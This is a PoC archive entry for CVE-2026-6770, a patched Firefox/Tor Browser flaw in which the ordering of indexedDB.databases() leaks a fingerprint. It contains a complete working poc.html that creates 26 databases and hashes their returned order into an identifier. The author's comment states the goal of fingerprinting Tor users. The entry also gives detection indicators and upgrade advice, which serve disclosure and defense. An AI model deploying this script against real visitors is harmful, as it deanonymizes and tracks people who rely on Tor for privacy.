PoC Archive PoC Archive
Medium CVE-2026-6770 patched

Firefox/Tor Browser IndexedDB Ordering Fingerprint — CVE-2026-6770

by nightcorefan94 · 2026-07-05

Severity
Medium
CVE
CVE-2026-6770
Category
binary
Affected product
Mozilla Firefox / Tor Browser
Affected versions
Firefox versions prior to 150 / ESR prior to 140.10 (per source repository; fixed in Firefox 150 / ESR 140.10)
Disclosed
2026-07-05
Patch status
patched

Archive entry

intelseclab/poc-archive

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / Researchernightcorefan94
CVE / AdvisoryCVE-2026-6770
Categorybinary
SeverityMedium
CVSS ScoreNot specified in source
StatusPoC
Tagsfirefox, tor-browser, indexeddb, fingerprinting, deanonymization, privacy
RelatedN/A

Affected Target

FieldValue
Software / SystemMozilla Firefox / Tor Browser
Versions AffectedFirefox versions prior to 150 / ESR prior to 140.10 (per source repository; fixed in Firefox 150 / ESR 140.10)
Language / PlatformJavaScript (runs in-browser, HTML PoC)
Authentication RequiredNo
Network Access RequiredNo — the PoC runs entirely client-side once the page is loaded

Summary

Prior to the fix, Firefox’s indexedDB.databases() API returned database names in an implementation-specific (non-alphabetically-sorted) internal order rather than a canonical sorted order. Because this ordering can vary based on subtle per-installation/per-session state, a malicious web page can create a fixed set of uniquely-named IndexedDB databases and then read back indexedDB.databases() to observe their return order as a fingerprinting side-channel. This is particularly significant for the Tor Browser, whose entire threat model depends on all users appearing identical — a stable non-random ordering artifact lets a site fingerprint and correlate a visitor across page loads or sessions within a single browsing session, undermining that anonymity guarantee.

Vulnerability Details

Root Cause

indexedDB.databases() did not guarantee a canonical (e.g. alphabetically sorted) ordering of returned database names; the underlying implementation’s insertion-order or internal-storage-order behavior leaked information distinguishing individual browser instances/sessions, which functions as a fingerprinting/tracking vector. Not specified in source: full internal explanation of why the pre-fix ordering was non-deterministic per-instance.

Attack Vector

  1. The page creates 26 uniquely-named IndexedDB databases (one per letter of the alphabet) via indexedDB.open(name).
  2. It then calls indexedDB.databases() to retrieve the list of created databases and their names.
  3. On a vulnerable (unpatched) browser, the returned order is not guaranteed to be alphabetically sorted and can vary in a manner that yields a stable, distinguishing fingerprint for that browser instance/session.
  4. The PoC hashes the observed name ordering (SHA-256) to produce a compact fingerprint value and reports whether the ordering was already sorted (indicating a patched/fixed browser) or not (indicating the vulnerable behavior is present).

Impact

An attacker-controlled web page can derive a fingerprint that helps distinguish or correlate a specific browser instance across visits, which is a meaningful privacy/anonymity degradation for privacy-focused browsers such as Tor Browser, where session-to-session and user-to-user indistinguishability is a core security property.

Environment / Lab Setup

Target:   Firefox / Tor Browser prior to the fix (Firefox 150 / ESR 140.10)
Attacker: Any web page reachable by the victim browser; no special tooling beyond a modern browser to view poc.html

Proof of Concept

PoC Script

See poc.html in this folder.

The page creates 26 IndexedDB databases named after each lowercase letter, calls indexedDB.databases() to read back their order, checks whether the order is alphabetically sorted, and if not, joins the names and computes a SHA-256 hash of the resulting order as a fingerprint value, printed to the page.

Detection & Indicators of Compromise

Not specified in source — this is a client-side browser-fingerprinting technique with no
server-side or network log artifact; detection would rely on browser-side instrumentation
(e.g. monitoring pages that create large numbers of same-session IndexedDB databases followed
immediately by an indexedDB.databases() enumeration call).

Signs of compromise:

  • A web page creating a large number of short-lived, sequentially-named IndexedDB databases immediately followed by a call to indexedDB.databases().
  • Browser extensions/telemetry showing repeated fingerprinting-style IndexedDB enumeration calls from the same origin across sessions.

Remediation

ActionDetail
Primary fixUpgrade to Firefox 150 or ESR 140.10 or later, which is stated to fix the ordering issue (per source repository).
Interim mitigationDisable JavaScript or use Tor Browser’s higher security levels for untrusted sites; avoid running untrusted third-party scripts capable of enumerating IndexedDB databases.

References

Notes

Mirrored from https://github.com/nightcorefan94/CVE-2026-6770 on 2026-07-05. The repository’s LICENSE file was excluded per archive policy.

poc.html
html raw GitHub ↓ Download
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

<!DOCTYPE html>
<html>
<body>
<h1>CVE-2026-6770 poc</h1>
<p>fixed in firefox 150 / esr 140.10, fingerprint tor users thru their entire session :)</p>
<p>created by github.com/nightcorefan94</p>
<button onclick="identify()">identify me</button>
<pre id="out"></pre>

<script>
function log(msg) {
  document.getElementById("out").textContent += msg + "\n";
}

function openDB(name) {
  return new Promise((resolve, reject) => {
    const req = indexedDB.open(name, 1);
    req.onsuccess = () => { req.result.close(); resolve(); };
    req.onerror = () => reject(req.error);
  });
}

async function sha256(message) {
  const msgBuffer = new TextEncoder().encode(message);                   
  const hashBuffer = await crypto.subtle.digest('SHA-256', msgBuffer);      
  const hashArray = Array.from(new Uint8Array(hashBuffer));               
  const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
  return hashHex;
}

async function identify() {
    let char = 'qwertyuiopasdfghjklzxcvbnm'.split('');
    for (let i = 0; i < char.length; i++) {
        await openDB(char[i]);
    }
    log("[*] created indexed dbs");
    const dbs = await indexedDB.databases();
    const names = dbs.map(db => db.name);
    const sorted = names.every((n, i) => i === 0 || names[i-1] <= n);
    if (sorted) {
        log("[!] seems patched, your indexeddb was sorted");
    } else {
        let res = names.join(",");
        let hash = await sha256(res);
        log("[!] order of indexeddb: " + res);
        log("[-] fingerprint: " + hash);
    }
}
</script>
</body>
</html>